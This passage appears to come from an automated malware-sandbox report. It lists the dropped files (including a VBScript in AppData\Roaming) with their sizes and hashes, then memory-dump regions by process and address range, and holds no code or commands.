      a6752b7851b591550e4625b832a393aabcc428de18d83e8593cd540f7d7cae22

      SHA512

      ce1bdd595065c94fa528badf4a6a8777893807d6789267612755df818ba6ffe55e4df429710aea29526ee4aa8ef20e25f2f05341da53992157d21ae032c0fb63

    • C:\Users\Admin\AppData\Local\Temp\ngosj

      Filesize

      2B

      MD5

      f3b25701fe362ec84616a93a45ce9998

      SHA1

      d62636d8caec13f04e28442a0a6fa1afeb024bbb

      SHA256

      b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

      SHA512

      98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

    • C:\Users\Admin\AppData\Local\Temp\{BF2E5510-52B7-47DD-9919-F89C43342271}

      Filesize

      128KB

      MD5

      6869ecbe30b79b5748d4f2edab429e2d

      SHA1

      6c268ecbb90bd2bddee00ccd9fe67e21c83d1fce

      SHA256

      81a43d882a1fcb0059728ac9710880e77da189c7cd782399f144ac9f54dea357

      SHA512

      40d917246557b17f033a4b04d10959c9695d48a6fa14b4099ca0a26286c3bd5e11f149803360c68513bcc0f4325ea2e308c3cdd8107bcd536323092a73052d02

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

      Filesize

      7KB

      MD5

      a5d6b0f62b2b4688ecb50f01a54460f8

      SHA1

      9125bdb43394a78fb7db6b78cf1ef6e7c97838ef

      SHA256

      86c5be8ba0ab7dc16c03ffb01a1586eac278795b8b8504526a63267db6416662

      SHA512

      6100227b4aacc90b0b8b6e10f562e61851004491b0a836332d4351b497588b95bfbb05afbdf63d10218df9b0fcf3adfcd7ae03a19e0cb8a587c49f406ac23e91

    • C:\Users\Admin\AppData\Roaming\createdkissingsomeone.vbs

      Filesize

      5KB

      MD5

      5a00fbd90b552d6c44165a1b1ea8af3d

      SHA1

      88d2a19718dcc942adc92d30e274b9ae95ae84df

      SHA256

      fcef19600eb45805e23379e5f0adbcd1a35859aa01505af4cb17276af4d5443d

      SHA512

      9f7d33f47c8207653ae3a4ae76c86b27c281a86adae01633307592e2666cc9b4acdc118805c4e7a1e43ed16805fa7b100c3bfdafc06fd81794bd195b7a3252a7

    • memory/1144-139-0x0000000069970000-0x0000000069F1B000-memory.dmp

      Filesize

      5.7MB

    • memory/1144-140-0x00000000028C0000-0x0000000002900000-memory.dmp

      Filesize

      256KB

    • memory/1144-142-0x0000000069970000-0x0000000069F1B000-memory.dmp

      Filesize

      5.7MB

    • memory/1144-245-0x0000000069970000-0x0000000069F1B000-memory.dmp

      Filesize

      5.7MB

    • memory/1144-141-0x00000000028C0000-0x0000000002900000-memory.dmp

      Filesize

      256KB

    • memory/1144-244-0x0000000069970000-0x0000000069F1B000-memory.dmp

      Filesize

      5.7MB

    • memory/1692-149-0x0000000069970000-0x0000000069F1B000-memory.dmp

      Filesize

      5.7MB

    • memory/1692-150-0x0000000069970000-0x0000000069F1B000-memory.dmp

      Filesize

      5.7MB

    • memory/1692-240-0x0000000069970000-0x0000000069F1B000-memory.dmp

      Filesize

      5.7MB

    • memory/1988-295-0x0000000000400000-0x0000000000462000-memory.dmp

      Filesize

      392KB

    • memory/1988-276-0x0000000000400000-0x0000000000462000-memory.dmp

      Filesize

      392KB

    • memory/1988-269-0x0000000000400000-0x0000000000462000-memory.dmp

      Filesize

      392KB

    • memory/1988-275-0x0000000000400000-0x0000000000462000-memory.dmp

      Filesize

      392KB

    • memory/1988-272-0x0000000000400000-0x0000000000462000-memory.dmp

      Filesize

      392KB

    • memory/1988-257-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

      Filesize

      4KB

    • memory/1988-262-0x0000000000400000-0x0000000000462000-memory.dmp

      Filesize

      392KB

    • memory/2364-280-0x0000000000400000-0x0000000000424000-memory.dmp

      Filesize

      144KB

    • memory/2364-268-0x0000000000400000-0x0000000000424000-memory.dmp

      Filesize

      144KB

    • memory/2364-273-0x0000000000400000-0x0000000000424000-memory.dmp

      Filesize

      144KB

    • memory/2364-281-0x0000000000400000-0x0000000000424000-memory.dmp

      Filesize

      144KB

    • memory/2364-277-0x0000000000400000-0x0000000000424000-memory.dmp

      Filesize

      144KB

    • memory/2364-278-0x0000000000400000-0x0000000000424000-memory.dmp

      Filesize

      144KB

    • memory/2368-232-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/2368-226-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/2368-241-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/2368-236-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/2368-243-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/2368-234-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

      Filesize

      4KB

    • memory/2368-228-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/2368-246-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/2368-247-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/2368-248-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/2368-249-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/2368-250-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/2368-252-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/2368-299-0x0000000010000000-0x0000000010019000-memory.dmp

      Filesize

      100KB

    • memory/2368-230-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/2368-296-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/2368-293-0x0000000010000000-0x0000000010019000-memory.dmp

      Filesize

      100KB

    • memory/2368-288-0x0000000010000000-0x0000000010019000-memory.dmp

      Filesize

      100KB

    • memory/2368-218-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/2368-238-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/2368-224-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/2368-222-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/2368-220-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/2488-264-0x0000000000400000-0x0000000000478000-memory.dmp

      Filesize

      480KB

    • memory/2488-258-0x0000000000400000-0x0000000000478000-memory.dmp

      Filesize

      480KB

    • memory/2488-261-0x0000000000400000-0x0000000000478000-memory.dmp

      Filesize

      480KB

    • memory/2488-255-0x0000000000400000-0x0000000000478000-memory.dmp

      Filesize

      480KB

    • memory/2488-263-0x0000000000400000-0x0000000000478000-memory.dmp

      Filesize

      480KB

    • memory/2488-286-0x0000000000400000-0x0000000000478000-memory.dmp

      Filesize

      480KB

    • memory/2620-24-0x0000000004580000-0x0000000004582000-memory.dmp

      Filesize

      8KB

    • memory/2620-22-0x0000000071F9D000-0x0000000071FA8000-memory.dmp

      Filesize

      44KB

    • memory/2620-20-0x000000002F7F1000-0x000000002F7F2000-memory.dmp

      Filesize

      4KB

    • memory/2620-217-0x0000000071F9D000-0x0000000071FA8000-memory.dmp

      Filesize

      44KB

    • memory/2740-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2740-1-0x0000000071F9D000-0x0000000071FA8000-memory.dmp

      Filesize

      44KB

    • memory/2740-25-0x00000000023C0000-0x00000000023C2000-memory.dmp

      Filesize

      8KB

    • memory/2740-148-0x0000000071F9D000-0x0000000071FA8000-memory.dmp

      Filesize

      44KB